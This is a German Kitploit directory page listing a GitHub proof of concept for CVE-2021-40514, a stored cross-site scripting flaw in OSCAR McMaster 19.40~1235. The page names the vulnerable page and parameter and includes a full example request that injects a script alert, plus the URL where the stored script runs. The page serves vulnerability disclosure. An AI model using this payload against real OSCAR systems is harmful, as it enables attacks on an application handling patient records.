Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-40514 — CVE-2021-40514 OSCAR McMaster 19.40~1235 Gespeicherte Cross-Site-Scripting-Schwachstelle. | Kitploit
Tools/GitHubGitHub/war4uthor/cve-2021-40514
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubwar4uthor/cve-2021-40514

CVE-2021-40514

CVE-2021-40514 OSCAR McMaster 19.40~1235 Gespeicherte Cross-Site-Scripting-Schwachstelle.

Repository anzeigen
vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-40514 OSCAR McMaster 19.40~1235 Stored Cross-Site-Scripting-Sicherheitslücke

Eine Stored Cross-Site-Scripting-Sicherheitslücke existiert auf mehreren Seiten in Version 19.40~1235 der OSCAR McMaster-Anwendung, die eine beliebige Ausführung von JavaScript-Befehlen ermöglicht.

[Platzhalter für CVE Mitre]

Verwundbare JSP-Seiten:

providercontrol.jsp - mygroupno Parameter

Beispiel für verwundbaren Payload:

/oscar/provider/providercontrol.jsp?provider_no=999998&start_hour=8&end_hour=18&every_min=15&color_template=deepblue&dboperation=updatepreference&displaymode=updatepreference&default_servicetype=&prescriptionQrCodes=false&erx_enable=false&erx_training_mode=false&mygroup_no=%22%3E%3Cscript%3Ealert(document.domain)%3C%2fscript%3E&programId_oscarView=0

Die gespeicherte Antwort wird gegen den Benutzer im folgenden Link ausgeführt:

/oscar/provider/providercontrol.jsp?year=2021&month=8&day=1&view=0&displaymode=month&dboperation=searchappointmentmonth

Entdeckt von Jack McBride, August 2021

Tool herunterladen